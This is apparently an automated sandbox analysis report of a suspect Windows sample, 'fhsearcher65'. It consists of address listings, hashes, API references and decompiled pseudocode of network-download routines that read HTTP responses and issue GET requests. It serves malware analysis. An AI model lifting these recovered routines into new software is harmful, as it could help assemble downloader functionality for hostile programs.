0x004051f5
0x004051f5
0x004051f8
0x00405200
0x00405203
0x00000000
0x00000000
0x00000000
0x00000000
0x00405203
0x004051f3
0x0040510a
0x0040510a
0x0040510d
0x00405112
0x00000000
0x00405118
0x00405118
0x0040511d
0x00000000
0x00405123
0x00405123
0x00405128
0x00000000
0x0040512e
0x0040512e
0x00405133
0x00000000
0x00405139
0x00405139
0x0040513d
0x00405140
0x00405143
0x00000000
0x00405145
0x00405145
0x00405145
0x00405148
0x0040514a
0x00405150
0x00405166
0x00405166
0x00405168
0x0040516d
0x00000000
0x00405152
0x00405152
0x00405155
0x0040515d
0x00405160
0x00000000
0x00000000
0x00000000
0x00000000
0x00405160
0x00405150
0x00405143
0x00405133
0x00405128
0x0040511d
0x00405112
0x004050d2
0x004050d2
0x004050d2
0x004050d5
0x004050d7
0x004050dd
0x004050f3
0x004050f3
0x004050f5
0x004050fa
0x004050fd
0x00000000
0x004050df
0x004050df
0x004050e2
0x004050ea
0x004050ed
0x00405249
0x00405249
0x0040524e
0x0040524f
0x00405250
0x00405251
0x00405259
0x00405260
0x00405263
0x00405264
0x00405265
0x00405269
0x0040526f
0x00405275
0x0040527b
0x00405288
0x00405298
0x004052a0
0x004052b6
0x004052b8
0x004052ba
0x004052c5
0x004052cd
0x004052d3
0x004052d5
0x004052ea
0x004052ea
0x004052d5
0x004052f1
0x004052f7
0x004052fd
0x00405303
0x0040530a
0x0040530d
0x00405314
0x00405317
0x00405317
0x00405319
0x0040531a
0x0040531a
0x0040532a
0x00405334
0x00405335
0x00405337
0x00405340
0x00000000
0x00000000
0x00000000
0x004050ed
0x004050dd
0x00000000
0x00405170
0x00405170
0x00405173
0x00405176
0x00405179
0x00405179
0x00405182
0x00000000
0x00405182
0x00000000
0x00000000
0x00000000
0x00404ee1
0x00404ed1
0x00000000
0x00404eed
0x00404eed
0x00404eee
0x00404eee
0x00000000
0x00404df0
0x00000000
0x00000000
0x00000000
0x004049bd
0x004049ad
0x00000000

APIs

Part of subcall function 0040F2F9: EnterCriticalSection.KERNEL32(004504FC,00450DAD,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F304
Part of subcall function 0040F2F9: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F341

__Init_thread_footer.LIBCMT ref: 004048E5

Part of subcall function 0040F2AF: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2B9
Part of subcall function 0040F2AF: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2EC
Part of subcall function 0040F2AF: RtlWakeAllConditionVariable.NTDLL ref: 0040F363

__Init_thread_footer.LIBCMT ref: 00404A83
__Init_thread_footer.LIBCMT ref: 00404B6A
__Init_thread_footer.LIBCMT ref: 00404C3A

Strings

mmBK, xrefs: 00404A2C
\Desktop, xrefs: 004049EB
O@K\, xrefs: 00404A33
{}k|, xrefs: 00404884

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CriticalInit_thread_footerSection$EnterLeave$ConditionVariableWake
String ID: O@K\$\Desktop$mmBK${}k|
API String ID: 4264893276-1521651405
Opcode ID: 9ecae6ebe69e7352244857bfdf975de089a7ff3ced33cd72f6436822291900ea
Instruction ID: f12e35772bf407470d0742825404339213b27353744ebbef8d005b346a879898
Opcode Fuzzy Hash: 9ecae6ebe69e7352244857bfdf975de089a7ff3ced33cd72f6436822291900ea
Instruction Fuzzy Hash: 4AD166B59003448ADB24DF78ED067AEBB70AB45308F14427ED8407B2D3D7B9A989CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401B30 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E00401B30(void* __ebx, void* __ecx, void* __edi, void* _a4) {
				intOrPtr _v4;
				char* _v8;
				char* _v12;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _v36;
				char _v52;
				void _v56;
				intOrPtr _v60;
				char* _v64;
				char* _v80;
				intOrPtr _v84;
				signed int _v88;
				void* _v92;
				void _v288;
				int _v292;
				long _v296;
				char* _v300;
				char _v316;
				char* _v320;
				char* _v324;
				short* _v328;
				char* _v332;
				char* _v336;
				char* _v340;
				char* _v356;
				signed int _v360;
				char* _v364;
				char* _v380;
				intOrPtr* _v488;
				char _v508;
				signed int _v516;
				intOrPtr _v520;
				char* _v524;
				char* _v540;
				intOrPtr _v544;
				char* _v572;
				void* __esi;
				void* __ebp;
				signed int _t210;
				signed int _t211;
				int _t218;
				char* _t219;
				char* _t230;
				intOrPtr _t231;
				short* _t238;
				short _t241;
				intOrPtr* _t244;
				void* _t245;
				char* _t247;
				short* _t251;
				char* _t256;
				char* _t266;
				signed int _t273;
				signed int _t275;
				void* _t281;
				intOrPtr _t294;
				signed int _t299;
				char* _t300;
				void* _t308;
				signed int _t313;
				void* _t319;
				char* _t322;
				intOrPtr _t330;
				int _t332;
				void* _t333;
				void* _t334;
				void* _t336;
				char* _t337;
				signed int _t338;
				void* _t340;
				intOrPtr _t341;
				void* _t343;
				void* _t344;
				intOrPtr* _t353;
				int _t357;
				short* _t364;
				void* _t371;
				char* _t373;
				char* _t376;
				intOrPtr* _t377;
				char _t391;
				char* _t393;
				char* _t400;
				void* _t404;
				short* _t407;
				signed int _t410;
				char* _t414;
				intOrPtr* _t416;
				intOrPtr _t418;
				signed int _t419;
				void* _t420;
				void* _t423;
				void* _t425;
				void* _t426;
				int _t427;
				short* _t428;
				void* _t430;
				intOrPtr _t432;
				signed int _t433;
				signed int _t434;
				void* _t436;
				intOrPtr* _t437;
				intOrPtr _t438;
				void* _t440;
				void* _t441;
				void* _t442;
				void* _t443;
				void* _t444;
				intOrPtr _t445;
				void* _t447;
				void* _t448;
				signed int _t451;
				signed int _t452;
				void* _t454;
				void* _t455;
				void* _t456;
				void* _t457;
				signed int _t458;
				void* _t459;
				void* _t461;
				void* _t462;

				_push(0xffffffff);
				_push(0x42c67b);
				_push( *[fs:0x0]);
				_t455 = _t454 - 0x170;
				_t210 =  *0x43d054; // 0xd71f2cec
				_t211 = _t210 ^ _t451;
				_v24 = _t211;
				_push(__ebx);
				_push(__edi);
				_push(_t211);
				 *[fs:0x0] =  &_v16;
				_t440 = __ecx;
				_t466 =  *((intOrPtr*)(__ecx + 0x28));
				_t425 = _a4;
				_v328 = _t425;
				if( *((intOrPtr*)(__ecx + 0x28)) != 0) {
					_v332 =  *((intOrPtr*)(__ecx + 0x34));
				} else {
					 *((intOrPtr*)(__ecx + 0x30)) = 0x7800;
					_t330 = E0040F1BE(_t425, __ecx, _t466, 0x7800);
					_t455 = _t455 + 4;
					 *((intOrPtr*)(_t440 + 0x28)) = _t330;
					 *(_t440 + 0x34) = 0;
					_v332 = 0;
				}
				_v296 = 0;
				InternetSetFilePointer(_t425, 0, 0, 0, 0);
				do {
					_t218 = InternetReadFile(_t425,  &(( *(_t440 + 0x34))[ *((intOrPtr*)(_t440 + 0x28))]), 0x3e8,  &_v296); // executed
					_t403 = _v296;
					_t332 = _t218;
					_t219 =  *(_t440 + 0x30);
					 *(_t440 + 0x34) =  &(( *(_t440 + 0x34))[_t403]);
					_t467 = _t219 -  *(_t440 + 0x34) - 0x3e8;
					if(_t219 -  *(_t440 + 0x34) <= 0x3e8) {
						 *(_t440 + 0x30) =  &(_t219[0x7800]);
						_t438 = E0040F1BE(_t425, _t440, _t467,  &(_t219[0x7800]));
						E00410870(_t438,  *((intOrPtr*)(_t440 + 0x28)),  &(( *(_t440 + 0x34))[1]));
						L0040EF7D( *((intOrPtr*)(_t440 + 0x28)));
						_t403 = _v296;
						_t455 = _t455 + 0x14;
						 *((intOrPtr*)(_t440 + 0x28)) = _t438;
						_t425 = _v328;
					}
				} while (_t332 != 0 && _t403 != 0);
				_v296 = 0x103;
				E00410EB0(_t425,  &_v288, 0, 0x104);
				_t456 = _t455 + 0xc;
				if(HttpQueryInfoA(_t425, 0x1d,  &_v288,  &_v296, 0) == 0) {
					L32:
					( *(_t440 + 0x34))[ *((intOrPtr*)(_t440 + 0x28))] = 0;
					 *[fs:0x0] = _v16;
					_pop(_t426);
					_pop(_t441);
					_pop(_t333);
					return E0040EF6F( *(_t440 + 0x34) - _v332, _t333, _v24 ^ _t451, _t403, _t426, _t441);
				} else {
					_v324 = 0;
					_t230 =  &_v316;
					_v320 = 0;
					__imp__CoCreateInstance(_t230, 0, 1, 0x42e2c0,  &_v324);
					if(_t230 < 0 || _v324 == 0) {
						goto L32;
					} else {
						_t353 =  &_v288;
						_v356 = 0;
						_v340 = 0;
						_t404 = _t353 + 1;
						_v336 = 0xf;
						_v356 = 0;
						asm("o16 nop [eax+eax]");
						do {
							_t231 =  *_t353;
							_t353 = _t353 + 1;
						} while (_t231 != 0);
						E004026B0(_t332,  &_v356,  &_v288, _t353 - _t404);
						_v8 = 0;
						_t334 = MultiByteToWideChar;
						_t357 =  &(_v340[1]);
						_t235 =  >=  ? _v356 :  &_v356;
						_v292 = _t357;
						_t427 = MultiByteToWideChar(0, 0,  >=  ? _v356 :  &_v356, _t357, 0, 0);
						_t238 = E0040F1BE(_t427, _t440, _v336 - 0x10,  ~(0 | _v336 - 0x00000010 > 0x00000000) | _t236 * 0x00000002);
						_t457 = _t456 + 4;
						_v328 = _t238;
						_t363 =  >=  ? _v356 :  &_v356;
						_t428 = _t238;
						MultiByteToWideChar(0, 0,  >=  ? _v356 :  &_v356, _v292, _t428, _t427);
						_t364 = _t428;
						_v380 = 0;
						_v364 = 0;
						_v360 = 7;
						_v380 = 0;
						_t66 =  &(_t364[1]); // 0x2
						_t407 = _t66;
						do {
							_t241 =  *_t364;
							_t364 =  &(_t364[1]);
						} while (_t241 != 0);
						E00402550(MultiByteToWideChar,  &_v380, _t428);
						L0040EF7D(_t428);
						_t458 = _t457 + 4;
						_v8 = 1;
						_t244 = _v324;
						_t409 =  >=  ? _v380 :  &_v380;
						_t245 =  *((intOrPtr*)( *_t244 + 0x10))(_t244,  >=  ? _v380 :  &_v380, L"text",  &_v320, _t364 - _t407 >> 1);
						_v8 = 0;
						_t430 = _t245;
						_t410 = _v360;
						if(_t410 < 8) {
							L19:
							_v8 = 0xffffffff;
							_t403 = _v336;
							_v364 = 0;
							_v360 = 7;
							_v380 = 0;
							if(_t403 < 0x10) {
								L23:
								if(_t430 >= 0) {
									_t487 = _v320;
									if(_v320 != 0) {
										_t336 = ( *(_t440 + 0x34) - _v332) * 8 -  *(_t440 + 0x34) - _v332;
										_t251 = E0040F1BE(_t430, _t440, _t487, _t336);
										_t459 = _t458 + 4;
										_t371 =  *(_t440 + 0x34) - _v332;
										_v292 = 0;
										_push(0);
										_v300 = 0;
										_t431 =  *_v320;
										_push( &_v292);
										_v328 = _t251;
										_push( &_v300);
										_t403 = _v320;
										_push(_t371);
										_push(_t251);
										_push(_t336);
										_t337 = _v332;
										_push( *((intOrPtr*)(_t440 + 0x28)) + _t337);
										_push(_t371);
										_push(0);
										_push(_v320);
										if( *((intOrPtr*)( *_v320 + 0x10))() >= 0) {
											_t258 = _v292;
											_t414 =  *(_t440 + 0x30);
											_t373 =  &(_t337[_v292]);
											_t489 = _t414 - _t373;
											if(_t414 > _t373) {
												_t432 =  *((intOrPtr*)(_t440 + 0x28));
											} else {
												 *(_t440 + 0x30) =  &(_t373[0x3e8]);
												_t432 = E0040F1BE(_t431, _t440, _t489,  &(_t373[0x3e8]));
												E00401760(_t432,  *(_t440 + 0x30),  *((intOrPtr*)(_t440 + 0x28)), _t337);
												L0040EF7D( *((intOrPtr*)(_t440 + 0x28)));
												_t414 =  *(_t440 + 0x30);
												_t459 = _t459 + 0x10;
												_t258 = _v292;
												 *((intOrPtr*)(_t440 + 0x28)) = _t432;
											}
											_t403 = _t414 - _t337;
											E00401760(_t432 + _t337, _t414 - _t337, _v328, _t258);
											_t459 = _t459 + 8;
											 *(_t440 + 0x34) =  &(_t337[_v292]);
										}
										L0040EF7D(_v328);
										_t256 = _v320;
										 *((intOrPtr*)( *_t256 + 8))(_t256);
									}
								}
								_t247 = _v324;
								 *((intOrPtr*)( *_t247 + 8))(_t247);
								goto L32;
							} else {
								_t376 = _v356;
								_t403 = _t403 + 1;
								_t266 = _t376;
								if(_t403 < 0x1000) {
									L22:
									_push(_t403);
									E0040F1B0(_t376);
									_t458 = _t458 + 8;
									goto L23;
								} else {
									_t376 =  *(_t376 - 4);
									_t403 = _t403 + 0x23;
									if(_t266 - _t376 + 0xfffffffc > 0x1f) {
										goto L33;
									} else {
										goto L22;
									}
								}
							}
						} else {
							_t400 = _v380;
							_t423 = 2 + _t410 * 2;
							_t322 = _t400;
							if(_t423 < 0x1000) {
								L18:
								_push(_t423);
								E0040F1B0(_t400);
								_t458 = _t458 + 8;
								goto L19;
							} else {
								_t376 =  *(_t400 - 4);
								_t403 = _t423 + 0x23;
								if(_t322 - _t376 + 0xfffffffc > 0x1f) {
									L33:
									E004138D7(_t334, _t403, __eflags);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t451);
									_t452 = _t458;
									_push(0xffffffff);
									_push(0x42c6c5);
									_push( *[fs:0x0]);
									_t461 = _t458 - 0x48;
									_t273 =  *0x43d054 ^ _t452;
									__eflags = _t273;
									_v516 = _t273;
									_push(_t334);
									_push(_t440);
									_push(_t430);
									_push(_t273);
									 *[fs:0x0] =  &_v508;
									_v572 = _t376;
									_t416 = _v488;
									_t377 = _t416;
									_v540 = 0;
									_v544 = _t416;
									_v524 = 0;
									_v520 = 0xf;
									_t442 = _t377 + 1;
									_v540 = 0;
									do {
										_t275 =  *_t377;
										_t377 = _t377 + 1;
										__eflags = _t275;
									} while (_t275 != 0);
									E004026B0(_t334,  &_v52, _t416, _t377 - _t442);
									_v12 = 0;
									_t338 = _v32;
									__eflags = _t338 - 0x10;
									_t443 = _v36;
									_t417 = _t443;
									_t381 =  >=  ? _v52 :  &_v52;
									_t433 = E00402890( >=  ? _v52 :  &_v52, _t443,  >=  ? _v52 :  &_v52, "http://", 7);
									_t462 = _t461 + 0xc;
									__eflags = _t433 - 0xffffffff;
									if(_t433 == 0xffffffff) {
										L39:
										__eflags = _v32 - 0x10;
										_t340 =  >=  ? _v52 :  &_v52;
										__eflags = _t443;
										if(_t443 == 0) {
											L42:
											_t434 = _t433 | 0xffffffff;
											__eflags = _t434;
										} else {
											_t433 = E00410E00(_t340, 0x2f, _t443);
											_t462 = _t462 + 0xc;
											__eflags = _t433;
											if(_t433 == 0) {
												goto L42;
											} else {
												_t434 = _t433 - _t340;
											}
										}
										__eflags = _t443 - _t434;
										_v80 = 0;
										_v64 = 0;
										_t383 =  <  ? _t443 : _t434;
										_v60 = 0xf;
										__eflags = _v32 - 0x10;
										_t279 =  >=  ? _v52 :  &_v52;
										_v80 = 0;
										E004026B0(_t340,  &_v80,  >=  ? _v52 :  &_v52,  <  ? _t443 : _t434);
										_v12 = 1;
										_t281 = _v36;
										__eflags = _t281 - _t434;
										_t435 =  <  ? _t281 : _t434;
										__eflags = _v32 - 0x10;
										_t386 =  >=  ? _v52 :  &_v52;
										_t282 = _t281 - ( <  ? _t281 : _t434);
										_v36 = _t281 - ( <  ? _t281 : _t434);
										E00410870( >=  ? _v52 :  &_v52,  &(( >=  ? _v52 :  &_v52)[ <  ? _t281 : _t434]), _t281 - ( <  ? _t281 : _t434) + 1);
										_t341 = _v84;
										_v88 = 0;
										E004139B4(_t341 + 0x44, 0x104, _v56, 0x103);
										_t462 = _t462 + 0x1c;
										asm("sbb eax, eax");
										_t443 = InternetOpenA( *(_t341 + 0xc),  ~( *(_t341 + 0x38)) & 0x00000003,  *(_t341 + 0x38), 0, 0);
										_v92 = _t443;
										__eflags = _t443;
										if(_t443 != 0) {
											_v56 = 1;
											InternetSetOptionA(_t443, 0x41,  &_v56, 4);
											__eflags = _v60 - 0x10;
											_t307 =  >=  ? _v80 :  &_v80;
											_t308 = InternetConnectA(_t443,  >=  ? _v80 :  &_v80, 0x50,  *(_t341 + 0x3c),  *(_t341 + 0x40), 3, 0, 1);
											_t437 = InternetCloseHandle;
											_t344 = _t308;
											__eflags = _t344;
											if(_t344 != 0) {
												__eflags = _v32 - 0x10;
												_t395 =  >=  ? _v52 :  &_v52;
												_t447 = HttpOpenRequestA(_t344, "GET",  >=  ? _v52 :  &_v52, 0, 0, 0, 0x80400000, 1);
												__eflags = _t447;
												if(__eflags != 0) {
													E004019F0(_t344, InternetCloseHandle, __eflags, _t447);
													_t313 = HttpSendRequestA(_t447, 0, 0, 0, 0);
													__eflags = _t313;
													if(_t313 != 0) {
														_v88 = E00401B30(_t344, _v84, InternetCloseHandle, _t447);
													}
													 *_t437(_t447);
												}
												 *_t437(_t344);
												_t443 = _v92;
											}
											 *_t437(_t443);
										}
										_t418 = _v60;
										__eflags = _v88;
										_t338 = 0 | _v88 > 0x00000000;
										__eflags = _t418 - 0x10;
										if(_t418 < 0x10) {
											L55:
											_t419 = _v32;
											_v64 = 0;
											_v60 = 0xf;
											_v80 = 0;
											__eflags = _t419 - 0x10;
											if(_t419 < 0x10) {
												L59:
												 *[fs:0x0] = _v20;
												_pop(_t436);
												_pop(_t444);
												_pop(_t343);
												__eflags = _v28 ^ _t452;
												return E0040EF6F(_t338, _t343, _v28 ^ _t452, _t419, _t436, _t444);
											} else {
												_t391 = _v52;
												_t419 = _t419 + 1;
												_t294 = _t391;
												__eflags = _t419 - 0x1000;
												if(_t419 < 0x1000) {
													L58:
													_push(_t419);
													E0040F1B0(_t391);
													goto L59;
												} else {
													_t391 =  *((intOrPtr*)(_t391 - 4));
													_t419 = _t419 + 0x23;
													__eflags = _t294 - _t391 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L61;
													} else {
														goto L58;
													}
												}
											}
										} else {
											_t393 = _v80;
											_t420 = _t418 + 1;
											_t300 = _t393;
											__eflags = _t420 - 0x1000;
											if(_t420 < 0x1000) {
												L54:
												_push(_t420);
												E0040F1B0(_t393);
												_t462 = _t462 + 8;
												goto L55;
											} else {
												_t391 =  *((intOrPtr*)(_t393 - 4));
												_t419 = _t420 + 0x23;
												__eflags = _t300 - _t391 + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L61;
												} else {
													goto L54;
												}
											}
										}
									} else {
										__eflags = _t443 - _t433;
										if(_t443 < _t433) {
											E004027F0(_t381, _t417);
											L61:
											E004138D7(_t338, _t419, __eflags);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t452);
											_push(_t443);
											_t445 = _t391;
											_t299 =  *(_t445 + 0x2c);
											 *(_t445 + 0x34) = 0;
											__eflags = _t299;
											if(_t299 != 0) {
												_t299 = L0040EF7D(_t299);
												 *(_t445 + 0x2c) = 0;
											}
											_push(_v4);
											L34();
											return _t299;
										} else {
											_t319 = _t443 - _t433;
											__eflags = _t319 - 7;
											_t422 =  <  ? _t319 : 7;
											__eflags = _t338 - 0x10;
											_t398 =  >=  ? _v52 :  &_v52;
											_t448 = _t443 - 7;
											_t399 =  &(( >=  ? _v52 :  &_v52)[_t433]);
											_v36 = _t448;
											__eflags = _t448 - _t433 + 1;
											E00410870( &(( >=  ? _v52 :  &_v52)[_t433]),  &(( &(( >=  ? _v52 :  &_v52)[_t433]))[ <  ? _t319 : 7]), _t448 - _t433 + 1);
											_t443 = _v36;
											_t462 = _t462 + 0xc;
											goto L39;
										}
									}
								} else {
									goto L18;
								}
							}
						}
					}
				}
			}

0x00401b33
0x00401b35
0x00401b40
0x00401b41
0x00401b47
0x00401b4c
0x00401b4e
0x00401b51
0x00401b53
0x00401b54
0x00401b58
0x00401b5e
0x00401b60
0x00401b64
0x00401b67
0x00401b6d
0x00401b9c
0x00401b6f
0x00401b74
0x00401b7b
0x00401b80
0x00401b83
0x00401b86
0x00401b8d
0x00401b8d
0x00401bab
0x00401bb5
0x00401bc0
0x00401bd4
0x00401bda
0x00401be0
0x00401be2
0x00401be7
0x00401bed
0x00401bf3
0x00401bfb
0x00401c06
0x00401c0e
0x00401c16
0x00401c1b
0x00401c21
0x00401c24
0x00401c27
0x00401c27
0x00401c2d
0x00401c40
0x00401c4d
0x00401c52
0x00401c70
0x00401fd5
0x00401fdb
0x00401feb
0x00401ff3
0x00401ff4
0x00401ff5
0x00402003
0x00401c76
0x00401c7c
0x00401c90
0x00401c96
0x00401ca1
0x00401ca9
0x00000000
0x00401cbc
0x00401cbc
0x00401cc2
0x00401ccc
0x00401cd6
0x00401cd9
0x00401ce3
0x00401cea
0x00401cf0
0x00401cf0
0x00401cf2
0x00401cf3
0x00401d07
0x00401d0c
0x00401d1f
0x00401d25
0x00401d2f
0x00401d3e
0x00401d48
0x00401d59
0x00401d5e
0x00401d61
0x00401d74
0x00401d7c
0x00401d8a
0x00401d8c
0x00401d8e
0x00401d9a
0x00401da4
0x00401dae
0x00401db5
0x00401db5
0x00401dc0
0x00401dc0
0x00401dc3
0x00401dc6
0x00401dd7
0x00401ddd
0x00401de2
0x00401de5
0x00401def
0x00401e03
0x00401e13
0x00401e16
0x00401e1a
0x00401e1c
0x00401e25
0x00401e5c
0x00401e5e
0x00401e65
0x00401e6b
0x00401e75
0x00401e7f
0x00401e89
0x00401eba
0x00401ebc
0x00401ec2
0x00401ec9
0x00401edf
0x00401ee2
0x00401eed
0x00401ef3
0x00401ef9
0x00401f03
0x00401f05
0x00401f0f
0x00401f17
0x00401f1e
0x00401f24
0x00401f25
0x00401f2b
0x00401f2c
0x00401f30
0x00401f31
0x00401f39
0x00401f3a
0x00401f3b
0x00401f3d
0x00401f43
0x00401f45
0x00401f4b
0x00401f4e
0x00401f51
0x00401f53
0x00401f8d
0x00401f55
0x00401f5c
0x00401f67
0x00401f6f
0x00401f77
0x00401f7c
0x00401f7f
0x00401f82
0x00401f88
0x00401f88
0x00401f97
0x00401f9c
0x00401fa7
0x00401fac
0x00401fac
0x00401fb5
0x00401fba
0x00401fc6
0x00401fc6
0x00401ec9
0x00401fc9
0x00401fd2
0x00000000
0x00401e8b
0x00401e8b
0x00401e91
0x00401e92
0x00401e9a
0x00401eb0
0x00401eb0
0x00401eb2
0x00401eb7
0x00000000
0x00401e9c
0x00401e9c
0x00401e9f
0x00401eaa
0x00000000
0x00000000
0x00000000
0x00000000
0x00401eaa
0x00401e9a
0x00401e27
0x00401e27
0x00401e2d
0x00401e34
0x00401e3c
0x00401e52
0x00401e52
0x00401e54
0x00401e59
0x00000000
0x00401e3e
0x00401e3e
0x00401e41
0x00401e4c
0x00402006
0x00402006
0x0040200b
0x0040200c
0x0040200d
0x0040200e
0x0040200f
0x00402010
0x00402011
0x00402013
0x00402015
0x00402020
0x00402021
0x00402029
0x00402029
0x0040202b
0x0040202e
0x0040202f
0x00402030
0x00402031
0x00402035
0x0040203b
0x0040203e
0x00402041
0x00402043
0x0040204a
0x0040204d
0x00402054
0x0040205b
0x0040205e
0x00402062
0x00402062
0x00402064
0x00402065
0x00402065
0x00402070
0x00402075
0x0040207f
0x00402082
0x00402085
0x00402088
0x0040208a
0x0040209b
0x0040209d
0x004020a0
0x004020a3
0x004020e0
0x004020e0
0x004020e7
0x004020eb
0x004020ed
0x00402105
0x00402105
0x00402105
0x004020ef
0x004020f8
0x004020fa
0x004020fd
0x004020ff
0x00000000
0x00402101
0x00402101
0x00402101
0x004020ff
0x00402108
0x0040210a
0x00402113
0x0040211a
0x0040211d
0x00402124
0x0040212c
0x00402134
0x00402138
0x0040213d
0x00402144
0x00402147
0x00402149
0x0040214c
0x00402150
0x00402154
0x00402156
0x00402160
0x00402165
0x0040216b
0x00402183
0x0040218b
0x00402195
0x004021a4
0x004021a6
0x004021a9
0x004021ab
0x004021b6
0x004021c1
0x004021c7
0x004021d0
0x004021e2
0x004021e8
0x004021ee
0x004021f0
0x004021f2
0x004021f4
0x004021fd
0x00402219
0x0040221b
0x0040221d
0x00402220
0x0040222e
0x00402234
0x00402236
0x00402241
0x00402241
0x00402245
0x00402245
0x00402248
0x0040224a
0x0040224a
0x0040224e
0x0040224e
0x00402250
0x00402255
0x00402258
0x0040225b
0x0040225e
0x00402288
0x00402288
0x0040228b
0x00402292
0x00402299
0x0040229d
0x004022a0
0x004022ca
0x004022cf
0x004022d7
0x004022d8
0x004022d9
0x004022dd
0x004022e7
0x004022a2
0x004022a2
0x004022a5
0x004022a6
0x004022a8
0x004022ae
0x004022c0
0x004022c0
0x004022c2
0x00000000
0x004022b0
0x004022b0
0x004022b3
0x004022bb
0x004022be
0x00000000
0x00000000
0x00000000
0x00000000
0x004022be
0x004022ae
0x00402260
0x00402260
0x00402263
0x00402264
0x00402266
0x0040226c
0x0040227e
0x0040227e
0x00402280
0x00402285
0x00000000
0x0040226e
0x0040226e
0x00402271
0x00402279
0x0040227c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040227c
0x0040226c
0x004020a5
0x004020a5
0x004020a7
0x004022ea
0x004022ef
0x004022ef
0x004022f4
0x004022f5
0x004022f6
0x004022f7
0x004022f8
0x004022f9
0x004022fa
0x004022fb
0x004022fc
0x004022fd
0x004022fe
0x004022ff
0x00402300
0x00402303
0x00402304
0x00402306
0x00402309
0x00402310
0x00402312
0x00402315
0x0040231d
0x0040231d
0x00402324
0x00402329
0x00402330
0x004020ad
0x004020b2
0x004020b9
0x004020bb
0x004020be
0x004020c1
0x004020c5
0x004020c7
0x004020c9
0x004020ce
0x004020d5
0x004020da
0x004020dd
0x00000000
0x004020dd
0x004020a7
0x00000000
0x00000000
0x00000000
0x00401e4c
0x00401e3c
0x00401e25
0x00401ca9

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 00401BB5
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 00401BD4

Strings

text, xrefs: 00401E0C

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: a28baa78a00f85b84662ad5648a7b1ffe52bfddbcd672d4bc54d72e59a8e8c2d
Instruction ID: e42aaa03987f9b223fed43012ae09a5378ed2603f7e67c0c15e5e901a11b8bb9
Opcode Fuzzy Hash: a28baa78a00f85b84662ad5648a7b1ffe52bfddbcd672d4bc54d72e59a8e8c2d
Instruction Fuzzy Hash: 0DC17A71A002189FEB24CF25CD85BEAB7B9FF48704F1005A9E409A72A1DB75AE84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00404D40 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 368
COMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E00404D40(void* __ebx, int* __ecx) {
				intOrPtr _v8;
				int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				char _v80;
				char _v81;
				signed int _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				long _v100;
				int _v104;
				int _v120;
				char _v284;
				char _v288;
				char _v292;
				char _v540;
				struct HKL__* _v1564;
				int* _v1568;
				int _v1572;
				int _v1576;
				int _v1580;
				long _v1584;
				int _v1588;
				int _v1604;
				int* _v1608;
				intOrPtr _v1628;
				char _v1636;
				signed int _v1640;
				intOrPtr _v1652;
				intOrPtr _v1656;
				signed int _v1660;
				intOrPtr _v1696;
				intOrPtr _v1700;
				signed int _v1752;
				char _v2002;
				short _v2004;
				int* _v2020;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t130;
				signed int _t131;
				int _t134;
				int _t137;
				intOrPtr* _t139;
				intOrPtr _t143;
				int _t145;
				signed int _t151;
				signed int _t152;
				intOrPtr _t155;
				intOrPtr _t164;
				signed int _t170;
				short _t172;
				signed int _t177;
				signed int _t183;
				signed char _t189;
				signed char* _t190;
				void* _t195;
				long _t196;
				intOrPtr _t197;
				intOrPtr _t198;
				intOrPtr _t202;
				intOrPtr _t203;
				intOrPtr _t204;
				int _t208;
				void* _t212;
				signed int _t213;
				void* _t220;
				signed int _t222;
				int _t223;
				void* _t224;
				intOrPtr _t232;
				int _t234;
				int _t237;
				signed int* _t238;
				signed int _t248;
				intOrPtr* _t249;
				signed int _t255;
				long _t259;
				void* _t260;
				void* _t264;
				signed char* _t265;
				signed int _t267;
				void* _t268;
				signed int _t269;
				void* _t270;
				int* _t271;
				void* _t272;
				int* _t274;
				void* _t275;
				void* _t276;
				signed int _t277;
				void* _t279;
				void* _t280;
				intOrPtr _t281;
				signed int _t284;
				signed int _t286;
				signed int _t288;
				void* _t290;
				signed int _t293;
				signed int _t294;
				void* _t297;
				signed int _t299;

				_push(__ebx);
				_t220 = _t290;
				_t293 = (_t290 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t220 + 4));
				_t284 = _t293;
